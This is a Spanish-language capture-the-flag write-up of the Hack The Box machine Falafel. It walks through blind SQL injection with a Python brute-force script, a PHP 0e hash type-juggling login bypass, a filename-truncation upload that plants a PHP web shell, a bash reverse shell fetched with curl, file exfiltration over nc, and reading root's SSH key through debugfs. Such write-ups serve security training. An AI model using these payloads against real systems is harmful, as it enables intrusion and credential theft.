lund@home:~$

Autor: Lund K. S.

HTB_Falafel HTB_Falafel | Hacker-Blog

HTB_Falafel

Falafel {-}

Introduccion {-}

La maquina del dia 26/08/2021 se Falafel.

El replay del live se puede ver aqui

S4vitaar Falafel maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.73

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.73

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.73 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p80,2222 10.10.10.73 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 ssh Conneccion directa usuario y contraseña
80 http Web, Fuzzing  

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.73

Vemos un dominio falafel.htb y poco mas. Añadimos el dominio al /etc/hosts

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.73/FUZZ
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,php-txt http://10.10.10.73/FUZZ.FUZ2Z

Aqui vemos routas importantes como:

  • robots.txt
  • login.php
  • upload.php
  • cyberlaw.txt

Analyzando la web con Firefox {-}

Analyzando la web vemos que hay un email IT@falafel.htb, aqui podemos pensar que IT es un usuario. Vemos el panel de login. Si miramos por la url http://10.10.10.73/cyberlaw.txt vemos el contenido de un email enviado por admin@falafel.htb a lawyers@falafel.htb y a devs@falafel.htb. El email nos dice que un usuario llamado chris a contactado a admin@falafel.htb para decirle que a podido logearse con este usuario sin proporcionar contraseña y que a podido tomar el control total de la web usando la functionalidad du subida de imagenes. No se sabe como lo a echo.

Si vamos al panel de login y probamos con los usuarios encontrado, vemos un mensaje differente para los usuarios admin y chris que por los usuarios dev y lawyers. Nos hace pensar que admin y chris son validos.

El usuario a podido entrar por la funccion de upload de imagenes. Si intentamos ir a la url http://10.10.10.73/upload.php hay una redireccion automatica hacia el panel de login. Comprobamos con Burpsuite si el redirect a sido sanitizado correctamente.

Control de la redireccion con Burpsuite {-}

Primeramente controlamos si burpsuite intercepta no unicamente las requests pero tambien las respuestas al lado del servidor. Si es el caso, lanzamos una peticion desde el navigador al la url http://10.10.10.73/upload.php y cuando interceptamos el 302 Redirect, lo cambiamos a 200 pero en este caso parece que la redirection a sido bien sanitizada porque solo vemos una pagina en blanco.

Vulnerability Assessment {-}

Blind SQL Injection {-}

Como no podemos utilizar el upload.php solo nos queda que intentar cosas con el panel de login. Como sabemos que el usuario admin existe, probamos cosas como:

  • admin:test -> Wrong identification: admin
  • admin’:test -> Try Again
  • admin’ and sleep(5)– -:tes -> Hacking attempt detected
  • ():test -> Try Again
  • sleep:test -> Hacking attempt detected
  • admin’ order by 100– -:test -> Try Again
  • admin’ order by 3– -:test -> Wrong identification: admin
  • admin’ order by 4– -:test -> Wrong identification: admin
  • admin’ order by 5– -:test -> Try Again
  • admin’ union select 1,2,3,4– -:test -> Hacking attempt detected
  • select:test -> Try Again
  • union:test -> Hacking attempt detected
  • dsafdasdfuniondasfasdf:test -> Hacking attempt detected

Estas pruebas nos dan, como informacion, que el panel de login parece ser vulnerable a SQLI, que palabras como union o sleep estan black listeadas y que la respuesta de la llamada SQL tiene 4 columnas. Vamos a validar la respuesta de la web en caso de un error y en caso de una buena formula.

  • admin’ and substring(username,1,1)=’a’– -:test -> Wrong identification: admin
  • admin’ and substring(username,1,1)=’b’– -:test -> Try Again
  • admin’ and substring(username,2,1)=’d’– -:test -> Wrong identification: admin
  • admin’ and substring(username,2,1)=’w’– -:test -> Try Again

Aqui ya vemos que typo de ataque podriamos hacer y tito s4vitar nos quiere enseñarnos como hacer un ataque de typo Cluster Bomb con BurpSuite aunque tiraremos de un script en python que es mucho mas agil.

Cluster Bomb attack con BurpSuite {-}

  1. Interceptamos y modificamos la SQLI desde BurpSuite

Falafel-SQLI-itercet

  1. Con Ctrl+i lo enviamos al intruder
  2. En el nodo Positions damos al boton clear § y selectionamos:

    • el primer 1 y le damos al boton add §
    • la letra a y le damos al boton add §
    • cambiamos el attack type para que valga Cluster Bomb

    ```{r, echo = FALSE, fig.cap=”Burp Cluster Bomb config”, out.width=”90%”} knitr::include_graphics(“images/Falafel-ClusterBomb-config-payload.png”)

Falafel-ClusterBomb-cofi-ayload - cambiamos el payload type a Numbers - cambiamos el Number range en sequential From 1 To 5 con step de 1 - sacamos el URL encode del final de la pagina

```{r, echo = FALSE, fig.cap="Burp Cluster Bomb config set 1", out.width="90%"}
knitr::include_graphics("images/Falafel-ClusterBomb-config-payload1.png")
```

- cambiamos el Character set a `abcdefghijklmnopqrstuvwxyz` con un Min length de 1 y un Max length de 1 ![Falafel-ClusterBomb-cofi-ayload1](../assets/images/Falafel-ClusterBomb-config-payload1.png) 
- sacamos el URL encode del final de la pagina

```{r, echo = FALSE, fig.cap="Burp Cluster Bomb config set 2", out.width="90%"}
knitr::include_graphics("images/Falafel-ClusterBomb-config-payload2.png")
```
  1. En el nodo Options En el Grep - Match

    {r, echo = FALSE, fig.cap="Burp Cluster Bomb config matcher", out.width="90%"} ![Falafel-ClusterBomb-cofi-ayload2](../assets/images/Falafel-ClusterBomb-config-payload2.png) knitr::include_graphics("images/Falafel-ClusterBomb-config-matcher.png")

  2. Le damos al boton start attack

Aqui vemos que el resultado es un poco complicado pero se podria hacer de esta forma.

#!/usr/bin/python3 Falafel-ClusterBomb-cofi-matcher #coding: utf-8

import requests import pdb import signal import time import sys

from pwn import *

def def_handler(sig, frame): print(“\n[!] Saliendo…\n”) sys.exit(1)

Ctrl+C

signal.signal(signal.SIGINT, def_handler)

Variables globales

login_url = “http://10.10.10.73/login.php” s = r’abcdef0123456789’

def makeRequest():

p1 = log.progress("Fuerza bruta")
p2 = log.progress("Password")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)

password = ""

for position in range(1, 40):
    for character in s:
        p1.status("Probando caracter %c en la posición %d" % (character, position))
        post_data = {
            'username': "chris' and substring(password,%d,1)='%c'-- -" % (position, character),
            'password': 'admin'
        }

        r = requests.post(login_url, data=post_data)

        if "Wrong identification" in r.text:
            password += character
            p2.status(password)
            break

if name == ‘main’:

makeRequest() ```

Cambiando el nombre de usuario, podemos buscar la contraseña del usuario chris y admin. una vez lanzado el script, podemos recoger la contraseña md5 de cada uno de estos usuarios.

Crackeamos las contraseñas con crackstation {-}

Abrimos la web de crackstation y colamos los hashes. Encontramos la contraseña del usuario chris.

Loggearse como el usuario admin {-}

Aqui es donde viene toda la parte mas interesante de la maquina. Si nos connectamos como el usuario chris vemos que habla de juggling pero poco mas. Si intentamos connectar a la url http://10.10.10.73/upload.php todavia hay una redireccion. Como habla de juggling, pensamos en seguida en una vulnerabilidad de typo type juggling pero tampoco es esto. Esta via se parece mas a un rabbit hole que otra cosa.

Si analyzamos las contraseñas, mejor dicho los hashes encontrados:

  • admin:0e462096931906507119562988736854
  • chris:d4ee02a22fc872e36d9e3751ba72ddc8

Nos damos cuenta que el hash del usuario chris contiene letras y numeros pero la del usuario admin solo contiene numeros. Porque digo que solo contiene numeros? Porque si pensamos en forma mathematica, la letra e corresponde a un por 10 elevado a (en este caso 0 por 10 elevado a 462096931906507119562988736854) al final solo son numeros.

La vulnerabilidad aqui viene si dos condiciones existen:

  1. En php la comparativa esta exprimida con un == y no con un ===
  2. Si el hash md5 de una contraseña empieza por 0exxxxxxxxxxxx…

Porque succede esta vulnerabilidad? Porque si los hashes de las 2 contraseñas empiezan por 0exxx… y que la comparativa es unicamente de doble igual, como no va a comparar de manera stricta, 0 por 10 elevado a cualquier cos (que vale 0) comparado a 0 por 10 elevado a cualquier otra cosa (que tambien vale 0) SON IGUALES.

Si miramos por google por 0e hash collision por ejemplo el articulo de ycombinator, vemos quel hash md5 de 240610708 da un hash 0e462097431906509019562988736854 o el hash md5 de QNKCDZO nos da 0e830400451993494058024219903391.

En php, si la comparativa es con un doble igual, estos dos hashes son iguales. Si vamos a la pagina de login y entramos el usuario admin y la contraseña QNKCDZO, conseguimos loggearnos como el usuario admin.

Burlar el upload de imagenes {-}

Una vez loggeados entramos en el panel de upload. Aqui la web nos pone de uploadear una imagen desde una url. Recuperamos una imagen de pollo en la web y la copiamos en nuestro directorio de trabajo. Lanzamos un servidor web con python python3 -m http.server 80 y uploadeamos el fichero desde la web poniendo la url http://10.10.14.15/madafackingchicken.png.

Aqui nos sale un Output con el commando lanzado por la maquina victima :

CMD: cd /var/www/html/uploads/0026-2354_e426c9e8c2f64caa; wget 'http://10.10.14.15/madafackingchicken.png'

Si miramos en la url http://10.10.10.73/uploads/0026-2354_e426c9e8c2f64caa/madafackingchicken.png vemos la imagen del pollo que hemos enviado a la web.

wget vulnerabilidad {-}

Tito S4vitar nos avanza aqui que el programa solo permite enviar ficheros con extension png o sea ya sabemos que no podemos enviar ficheros .php. Pero como conocemos el commando echo por la maquina victima, y vemos que se utiliza el commando wget, ya tenemos una via potencial de ataque, el nombre de caracteres del nombre del fichero. En linux, un fichero solo puede tener un nombre de fichero inferior a 255 caracteres incluida la extension. En el caso de un ficher .png, el limite maximo de un fichero seria un nombre de 251 caracteres seguidos de la extension .png.

Copiando el resultado del comando python -c "A"*251 + ".png" y cambiando el nombre del fichero madafackingchicken.png con ello, si uploadeamos este fichero en la web, vemos que en el resultado de Saving To que solo guarda un 235 “A” como nombre de fichero. Esto quiere decir que si enviamos un ficher que tiene como nombre 231 A con una extesion .php.png la web va a ver que el fichero es un ficher .png pero al momento de guardarlo, va a guardar los 235 primeros caracteres que equivalen a 231 A y la extension .php

Creamos un fichero php

touch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.png
vi AAAAAA*

<?php
    echo "<pre>" .shell_exec($_REQUEST['cmd']) ."</pre>";
?>

Si enviamos este fichero, vemos que el fichero se a enviado como fichero .png pero salvado como fichero .php si vamos a la url http://10.10.10.73/uploads/0026-2354_e426c9e8c2f64caa/AAAAAAAAAA.......AAAA.php?cmd=whoami vemos que somos www-data.

Vuln exploit & Gaining Access {-}

Ganando accesso desde la s4vishell.php {-}

  1. Creamos un fichero index.html con el contenido siguiente

     #!/bin/bash
    
     bash -i >& /dev/tcp/10.10.14.15/443 0>&1
    
  2. lanzamos un servidor web con python

     python3 -c http.server 80
    
  3. nos ponemos en escucha por el puerto 443

     nc -nlvp 443
    
  4. desde la web lanzamos el comando http://10.10.10.73/uploads/0026-2354_e426c9e8c2f64caa/AAAAAAAAAA.......AAAA.php?cmd=curl 10.10.14.15 | bash

ganamos accesso al systema como el usuario www-data

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Vemos aqui que no podemos leer la flag porque no podemos entrar en las carpetas de yossi o de moshe. Tenemos que hacer un user pivoting.

User Pivoting {-}

whoami
cd /home
cd yossi
cd moshe
sudo -l
find \-perm -4000 2/dev/null
cd /var/www/html
ls
cat connection.php

Aqui vemos que no tenemos permisos interesantes pero vemos en el ficher connection.php unas credenciales para el usuario moshe para la base de datos.

su moshe
Password:

whoami
#Output
moshe

cat /home/moshe/user.txt

Ahora que tenemos la flag, pasamos a la parte PrivEsc

Privilege Escalation {-}

Rootear la maquina {-}

cd /root
uname -a
lsb_release -a
sudo -l
id

Aqui llama el atencion el grupo video. Pero aqui primero la idea es ver que grupo tiene este mismo grupo por script.

groups
for group in $(groups); do echo "El grupo $group"; done
for group in $(groups); do echo -e "\n[+] Listando archivos del sistema con grupo $group asignado:\n"; find / \-group $group 2>/dev/null; done

Aqui vemos que el fichero /dev/fb0 esta en el grupo video. Este servicio permite hacer una captura de pantalla de la maquina.

  1. Recoger las proporciones de la pantalla

     cd /
     find \-name virtual_size 2>/dev/null
     cat ./sys/devices/pci0000:00/0000:00:0f.0/graphics/fb0/virtual_size
     #Output
     1176.885
    
  2. Captura de la pantalla

     cd /tmp
     cat /dev/fb0 > Captura
     du -hc Captura
     file Captura
    
  3. Enviamos la captura a nuestra maquina de atacante

    • en la maquina de atacante

        nc -nlvp 443 > Captura
      
    • en la maquina victima

        nc 10.10.14.15 443 < Captura
      
  4. Abrimos la captura con Gimp

    • Aun que la apertura del fichero a fallado le damos al menu Archivo > Abrir
    • Seleccionamos el typo de archivo Datos de imagen en bruto

      {r, echo = FALSE, fig.cap="Gimp - Archive brute data", out.width="90%"} knitr::include_graphics("images/Falafel-open-capture.png")

    • Entramos la proporciones de la virtual_size

Aqui podemos ver la contraseña del usuario yossi. Cambiamos de usuario con el comando su yossi.

Desde aqui volmemos a intentar a rootear la maquina desde el usuario yossi.

![Falafel-oe-cature](../assets/images/Falafel-open-capture.png) 

Como otra vez un grupo, en este caso el grupo disk nos llama la atencion, volmemos a hacer lo mismo con el listeo de ficheros de cada grupo

```bash
for group in $(groups); do echo -e "\n[+] Listando archivos del sistema con grupo $group asignado:\n"; find / \-group $group 2>/dev/null; done

Aqui vemos que /dev/sda1 es parte del grupo disk. Si le hacemos un ``ls -l /dev/sda1 podemos ver que el grupo disk tiene derecho de escritura. Controlamos si estamos en /dev/sda1 con el comando fdisk -l` y vemos que es el disco con 7G (El mas grande = el disco en uso).

Siendo del grupo disk, nos permite abrir la utilidad debugfs que nos permite manejar utilidades del disco como root.

debugfs /dev/sda1
pwd
ls
cd /root
pwd
cat root.txt

Aqui podemos ver la flag, pero nosotros queremos ser root. Continuamos

cd .ssh
cat id_rsa

la copiamos y creamos un fichero id_rsa en /tmp

exit
cd /tmp
nano id_rsa

chmod 600 id_rsa
ssh root@localhost -i id_rsa
whoami
#Output 

root